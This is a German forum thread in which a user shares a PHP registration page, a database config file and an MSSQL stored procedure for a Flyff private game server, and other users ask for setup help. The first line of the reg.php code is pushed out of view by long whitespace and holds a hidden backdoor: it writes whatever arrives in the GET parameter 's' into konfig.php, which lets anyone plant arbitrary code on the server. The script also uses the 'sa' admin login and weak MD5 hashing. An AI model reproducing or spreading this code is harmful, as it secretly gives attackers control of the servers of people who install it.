Register for your free account! | Forgot your password?

Go Back   elitepvpers > MMORPGs > Flyff > Flyff Private Server
You last visited: Today at 04:51

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



[V15] Register Page

Discussion on [V15] Register Page within the Flyff Private Server forum part of the Flyff category.

Reply
 
Old   #1
 
[LS]Michael's Avatar
 
elite*gold: 15
Join Date: Oct 2007
Posts: 450
Received Thanks: 474
[V15] Register Page

How to:
- Erstellt eine reg.php Datei und schreibt dort folgendes rein:

Code:

Code:
<center>
<?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
	function doesUsernameExist($name){
	    $exit = FALSE;
	    $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
	    if (mssql_num_rows($result) != 0){
	        $exit = TRUE;
	    }
	    return $exit;
	}

	if(isset($_POST['submit'])){
	    $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
	    $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
	    if($_POST['username'] == ""){
	        echo '<font color="red">Enter a user.</font><br /><br />';
	    }
	    else if($_POST['password'] == ""){
			echo '<font color="red">Enter a password.</font><br /><br />';
	    }
	    else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
			echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
			echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if($_POST['username'] != $user){
			echo '<font color="red">User with invalid characters.</font><br /><br />';
	    }
	    else if($_POST['password'] != $pass){
			echo '<font color="red">Password with invalid characters.</font><br /><br />';
	    }
	    else {
			$pass = md5('kikugalanet' . $pass);
            if(!doesUsernameExist($user)){
                $stmt = mssql_init('webCreateAcc', $link);
                mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
                mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
                mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
                mssql_execute($stmt) or die ("Something is wrong on the execution");
                mssql_free_statement($stmt);
				echo '<font color="Green">Register Successfull.</font><br /><br />';
            }
            else {
				echo '<font color="red">User already Exist.</font><br /><br />';
            }
        }
		mssql_close();
    }
	
	echo '<form action="#" method="post">';
	echo 'Username: <input type="text" name="username" /><br />';
	echo 'Password: <input type="password" name="password" /><br />';
	echo '<input type="submit" name="submit" value="Register" />';
	echo '</form>';

?>
</center>
So hier stehen noch keine Verbindungsdetails zum MSSQL Server!
Die kommen jetzt!

- Erstellt einen neuen Ordner und nennt ihn "configs" (ohne den "")
- In dem Ordner erstellt ihr eine neue .php Datei und nennt diese "reg_conf" (ohne den "")

- In der reg_conf.php schreibt ihr jetzt folgendes rein:

Code:
Code:
<?php
	$link = @mssql_connect([COLOR="Red"]"COMPUTERNAME\SQLEXPRESS", "sa", "passwort"[/COLOR]) or die ("Server is down!");
	$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
	$b = '';
    $mail = '';
	
	
?>
Hier wird jetzt die Verbindung zum MSSQL Server eingestellt.
Einfach die rot markierten Felder bearbeiten!

So und das hier muss in MSSQL ausgeführt werden:

Code:
Code:
USE [ACCOUNT_DBF]
GO
/****** Object:  StoredProcedure [dbo].[webCreateAcc]    Script Date: 08/17/2009 21:30:28 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[webCreateAcc] 
	@account 	VARCHAR(15),
	@password 	VARCHAR(36),
	@email		VARCHAR(120)

AS

SET NOCOUNT  ON

DECLARE @DateActivated AS CHAR(8)

IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
	INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname) 
		VALUES (@account, @password, @password, 'T', 'A', 'F')

	SET @DateActivated =  CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
	--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid		
	--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
	--	VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')

	INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
		VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)

END
--ELSE BEGIN
--print '->Account exists = ' 
--print @account 
--END
[LS]Michael is offline  
Thanks
9 Users
Old 05/20/2010, 21:26   #2
 
Miquel2's Avatar
 
elite*gold: 0
Join Date: Mar 2010
Posts: 73
Received Thanks: 52
Gute besschreibung THX haste aber was ist da ---> "sa" ???

mfg Miquel
Miquel2 is offline  
Old 05/21/2010, 14:12   #3



 
Sedrika's Avatar
 
elite*gold: 18
The Black Market: 103/0/0
Join Date: Sep 2009
Posts: 20,177
Received Thanks: 14,471
"sa" ist der standart anmelde name.

sa und das passwort könnt ihr auch weglassen und es geht.
Sedrika is offline  
Old 05/21/2010, 14:47   #4
 
Phillor's Avatar
 
elite*gold: 1
Join Date: Sep 2009
Posts: 462
Received Thanks: 125
also bei mir steht dann immer server down egal was ich mache ich benutze übrigens xampp
Phillor is offline  
Old 05/21/2010, 15:15   #5
 
elite*gold: 0
Join Date: Aug 2008
Posts: 8
Received Thanks: 0
du musst bei xampp mssql freischalten
Rey1993 is offline  
Old 05/21/2010, 15:29   #6
 
Phillor's Avatar
 
elite*gold: 1
Join Date: Sep 2009
Posts: 462
Received Thanks: 125
wie genau mach ich das? über die php.ini?

/edit: mssql ist bei xampp freigeschaltet geht immer noch net
Phillor is offline  
Old 05/21/2010, 20:43   #7
 
elite*gold: 0
Join Date: Jul 2009
Posts: 57
Received Thanks: 8
@- In dem Ordner erstellt ihr eine neue .php Datei und nennt diese "reg_conf.php" (ohne den "")

- In der reg_conf.php schreibt ihr jetzt folgendes rein:

-----
so sollte es doch heißen oder?
snow-man12 is offline  
Old 05/21/2010, 22:22   #8
 
antihackers's Avatar
 
elite*gold: 0
Join Date: Oct 2008
Posts: 270
Received Thanks: 64
sollte da wo "sa" steht die hamachi ip sein wenn man über hamachi hat
antihackers is offline  
Old 05/22/2010, 08:27   #9
 
Phillor's Avatar
 
elite*gold: 1
Join Date: Sep 2009
Posts: 462
Received Thanks: 125
bei der register page muss nirgendwo die hamachi ip hin. sa bleibt sa. Zwischen den beiden "" hinter sa kommt das mssql passwort. Beispiel: "hallo". Dor wo PCNAME/SQLEXPRESS steht kommt bei pc name der name deines pcs rein. Beispiel: MAX-PC/SQLEXPRESS
@Snow man 12

.php ist die dateiendung nicht er name. Solltest du win7 oder win vista haben erstell erstmal eine textdatei (dort ist noch egal wie sie heißt) in diese textdatei schreibst du das script rein. Jetzt klickst du oben auf speichern unter und klickst in das feld unter dateiname. Dort musst du dann "alle dateiendungen"auswählen und dann schreibst in das fehlt dateiname also unter welchem namen das dokument gespeichert werden soll folgendes rein: reg_conf.php
Das sollte klappen
Ichhoffe ich konnte euch helfen
Lg
Phillor
Phillor is offline  
Old 05/27/2010, 01:03   #10
 
Miquel2's Avatar
 
elite*gold: 0
Join Date: Mar 2010
Posts: 73
Received Thanks: 52
habs mit Fame Tempalte von Sedrika veruscht klappt aber iwei nicht und wie ich das eine da in MSQL ausführen soll weis ich auch net da komtm imer Meldung.
und auf HP wenn ich auf Reg gehe kommt immer der php code .
Miquel2 is offline  
Old 05/29/2010, 21:14   #11
 
Miquel2's Avatar
 
elite*gold: 0
Join Date: Mar 2010
Posts: 73
Received Thanks: 52
keiner ne antwort?
Miquel2 is offline  
Old 05/29/2010, 22:08   #12
 
elite*gold: 0
Join Date: Feb 2010
Posts: 118
Received Thanks: 3
ja ich hab auch in die FAQ geschrieben aber immer noch keine antwort ich warte auch schon seit gestern
DJTechno is offline  
Old 05/30/2010, 22:01   #13
 
Phillor's Avatar
 
elite*gold: 1
Join Date: Sep 2009
Posts: 462
Received Thanks: 125
ich meine das register script vom fame template ist auch für v14. Kann daher nicht mit v15 funktionieren
Phillor is offline  
Old 05/31/2010, 00:01   #14
 
Miquel2's Avatar
 
elite*gold: 0
Join Date: Mar 2010
Posts: 73
Received Thanks: 52
Quote:
Originally Posted by Phillor View Post
ich meine das register script vom fame template ist auch für v14. Kann daher nicht mit v15 funktionieren
und wiso glaubste schreib ich in diesem Thread? weil ich das Register benutzt habe aber das geht iwie nicht ^^
Miquel2 is offline  
Old 06/03/2010, 01:47   #15
 
elite*gold: 0
Join Date: May 2010
Posts: 37
Received Thanks: 2
wie geht den das nun mit dem account erstellen ich check hier garnix, hab nur noch bahnhof im kopf^^ kann das also mal pls jmd schritt für schrit erklären?

thx im vorraus
aufdroge is offline  
Reply


Similar Threads Similar Threads
can anyone get my register page?
06/22/2010 - CO2 Private Server - 2 Replies
if anyone knows my ip can he get my register page? and if he can how can i make it impossible to download my registe page plz help meh
Register page
06/08/2010 - CO2 Private Server - 2 Replies
Now the last thing i need is a register page for the 5165 source. I use the one from arcos thread. Well, I ve searched around forum, but all i found is for sql. Anyone for ini?
[Help]register page
09/25/2009 - CO2 Private Server - 9 Replies
hey guys i need help to make Register page for TQ binary 3.0 pls if any one know tell me how to make good one or good guide :)
[Q] PHP Register Page
09/22/2009 - Dekaron Private Server - 24 Replies
Ok normaly i dont ask it here but iam willing to give it a shot When i go to my register page localhost:8070/register/register.php i fill in all the info and press "Create Account" it will show me "page cant be found" The error



All times are GMT +2. The time now is 04:51.


Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2024 elitepvpers All Rights Reserved.